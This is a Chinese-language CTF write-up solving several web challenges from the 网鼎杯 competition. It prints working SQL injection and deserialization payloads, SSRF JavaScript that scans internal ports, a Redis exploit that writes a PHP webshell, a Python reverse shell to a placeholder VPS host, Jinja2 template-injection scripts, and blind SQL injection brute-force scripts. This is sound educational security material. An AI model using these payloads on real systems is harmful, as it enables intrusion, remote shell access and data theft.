网鼎杯 Web Review

To begin with

网鼎杯初赛出了两道Web题,虽然还是有点坑..但在赛后总结中还是学到了新内容,良心平台比赛结束后仍然可以开启web服务。若有机会接触到后面几场比赛的赛后环境,同时一并总结。

Fakebook

感觉这个题的思路还是很明确的,就是这个过滤很皮..
收集信息可以找到一个user.php源码泄露

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

主要内容是注册用户时需要填一个url,如果包含协议必须是http(s),没开跳转。填的url会使用curl访问,一个SSRF。需要想一下的就是这个居然用类来实现了。
之后在join.ok.php或者其他界面的报错里面我们可以拿到绝对目录地址,以及flag.php地址。
我们想要使用SSRF直接读flag发现被注册时的过滤限制了http协议。
在view.php有一个u=1的注入,尝试发现order by 4,union被过滤(但可以使用/**/绕过),我后来用的union all直接绕过了...
构造union后报错,提示
Fh7A4ltbwnb2-4A-0WC2OpIjIKmD
可以发现存在一个反序列化。但要如何利用呢,而且还没有魔法函数。
这里联想到注册时检验了url的合法性,使用http协议没办法读到flag,最简单的办法就是file协议,那我们完全可以直接构造反序列化指定url。

/view.php?no=0 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:8:"dsvoaths";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
view.php main code

<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
    die("no hack ~_~");
}
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
?>
db.php main code


    public function anti_sqli ($no)
    {
        $patterns = "/union\Wselect|0x|hex/i";

        return preg_match($patterns,$no);
    }

Spider

上次在WCTF遇到redis getshell就蒙了.. 这次还是有点乱,以前留的坑早晚要填...
这次算是总结下大佬给的思路吧。
题目是一个在线爬虫解析HTML A标签的的功能,会把tag A的内容打印在屏幕上。
在rebots.txt上发现了一个源码泄露,get_source,不过需要从本机访问,那么这个功能可能有一个SSRF。想办法构造一个解析时访问127.0.0.1即可。
使用AJAX访问,构造:

<a>asd</a>
<script>
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function(){
    if (xhr.readyState==XMLHttpRequest.DONE){
        document.getElementsByTagName('a')[0].innerHTML=(xhr.responseText);
    }
}
xhr.open("GET","http://127.0.0.1/get_source");
xhr.send(null);
</script>

拿到flask源码

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time > 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/run.py') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

里面用到了casperjs加载页面模拟,只不过也没啥信息了..
黑名单过滤写了一个dbfilename,可能要涉及到redis,但是不会利用...
查了一下,有ssh,cron,webshell等方式..
根据提示,在8000端口有一个apache服务。
在redis上设置一个webshell即可。

这里引用下官方wp的过程。
构造redis cron shell失败,可能系统是ubuntu等,cron不行就尝试从web入手。
通过JS端口探测

<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,8000,8080,8088];
for(var i in ports){
    var script =   document.createElement("script");
    poc = "data += '"   + ports[i] + " OPEN; '; document.getElementById('result').innerHTML =   data;"
      script.setAttribute("src","http://127.0.0.1:" +   ports[i]);
      script.setAttribute("onload", poc);
    TagName.appendChild(script);
}
</script>

得知80和8000端口开放。
得到8000端口开放着,猜测是apache2等phpserver

构造一个Redis EXP。

level=low_273eac1c
<script>
           var xmlHttp;
           if(window.XMLHttpRequest){
                xmlHttp = new XMLHttpRequest();
           }else{
          xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
           }
           var formData = new FormData();
   formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
           xmlHttp.open("POST","http://127.0.0.1:6379",true);
           xmlHttp.send(formData);
</script>

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。

<a href="" id="flag">test</a>

<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("flag").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?0=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>

反弹shell

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
    xmlhttp.send();
}
loadXMLDoc();
</script>

refer

1.ICQ
2.XianZhi

phone WDB 3rd

与强网杯three hit类似,一道二次注入题。
根据登陆后结果猜测sql语句为:
select count(*) from user where phone_number like '%{input}%'
绕过方法相同,使用0x十六进制绕过数字检测,造成二次注入。

#coding=utf-8
import requests
import random
import time

#username=admin3&password=admin&phone=1&register=Login
url=""
while True:
    u='adminv'+str(random.randint(1,10000000))
    print "imput username"
    num=raw_input()
    payload='0x'+('\' '+num).encode('hex')
    data={'username':u,'password':'admin','phone':payload,'register':'Login'}
    time.sleep(0.1)
    s=requests.session()
    s.get(url+"logout.php")
    r=s.post(url+"register.php",data=data)
    #username=admin&password=admin&login=Login
    log={'username':u,'password':'admin','login':'Login'}
    rr=s.post(url+"login.php",data=log)
    time.sleep(0.1)
    ret=s.get(url+"query.php")
    s.get(url+"logout.php")
    print ret.text
imput username
union select database() limit 1,1#
有test人和你电话相似哦~
test

imput username
union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1#
有flag,user人和你电话相似哦~
flag,user

imput username
union select group_concat(column_name) from information_schema.columns where table_name='flag' limit 1,1#
有f14g人和你电话相似哦~
f14g

imput username
union select f14g from flag limit 1,1#
有flag{1e0b6100-e790-46a0-93af-14c507791ad5}人和你电话相似哦~
flag{1e0b6100-e790-46a0-93af-14c507791ad5}

mmmmy WDB 3rd

登陆后发现只能是test,查看jwt,同样需要构造admin,使用c-jwt-cracker爆破出secret,6a423。
登陆后发现有个留言界面,不像是xss,可能是格式化串或者ssti,使用{{}}发现被过滤,使用{% %}可用,发现_、'、"、eval、system等被过滤。
查找http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters 中控制结构清单,可使用布尔盲注。
text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}right{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e={}-0123456789abcdefghijklmnopqrstuvwxyz
脚本如下:

import requests,sys
url = "http://3e87de1a63e346609822f82b4d71b54489d7f51afcc24dfa.game.ichunqiu.com/bbs"
cookie = {
    "token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "{}-0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
    for j in range(0,len(chars)):
        data = {
            "text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%  endif  %%}" % (j,i),
            "a" : "__class__",
            "b" : "__base__",
            "c" : "__subclasses__",
            "d" : "/flag",
            "e" : chars
        }
        r = requests.post(url,data=data,cookies=cookie)
        if 'getflag' in r.text: 
            flag += chars[j]
            print(flag)
            break

unfished WDB 2nd

注册时insert注入,可在登陆后查看用户名拿到结果。
除下面payload外,还可以使用hex(hex(string)),每次取八位数字。
两次hex的结果为纯数字,不存在abcdef。

import json
import requests
import time

email = "xm@xm1"
cookies = {
 "PHPSESSID": "jcu1nmc5oms4dt54c44s25bd12"
}
flag = ""
for i in range(50):
 #i += 20
 data = {
  "email": email+str(i),
  "username": "0'+ascii(mid((select * from flag)from("+str(i)+")for(1)))+'0",
  "password": "123"
 }
 print data['username']
 requests.post("http://9e1887b7e22c4ac5ba233b8763879a8fe03597c74b8d42f8.game.ichunqiu.com/register.php", data=data, cookies=cookies)
 o = requests.post('http://9e1887b7e22c4ac5ba233b8763879a8fe03597c74b8d42f8.game.ichunqiu.com/login.php', data=data, cookies=cookies).text[837:850].split(" ")[0]
 flag += chr(int(o))
 print flag

sqlweb WDB 2nd

登录admin可以看到wafsleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii。在返回头中可看到表结构。
构造如下payload,爆破出admin密码,登陆后提示wuyanzu账号,继续。

#coding=utf8
import requests
flag=""
for i in range(1,50):
    for ch in range(30,127):
        char=chr(ch)
        name="wuyanzu'&&/**/mid(passwd/**/from("+str(i)+")for(1))/**/in/**/('"+char+"')#"
        data={'uname':name,'passwd':'123','submit':'login'}
        #print name
        ret=requests.post("http://bf7fdc04c8234dba9eb69d1fd81f88b5219bd62ccb654b7d.game.ichunqiu.com/sql.php",data=data)
        if "passwd" in ret.text:
            flag+=char
            print flag
            break
print flag
作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub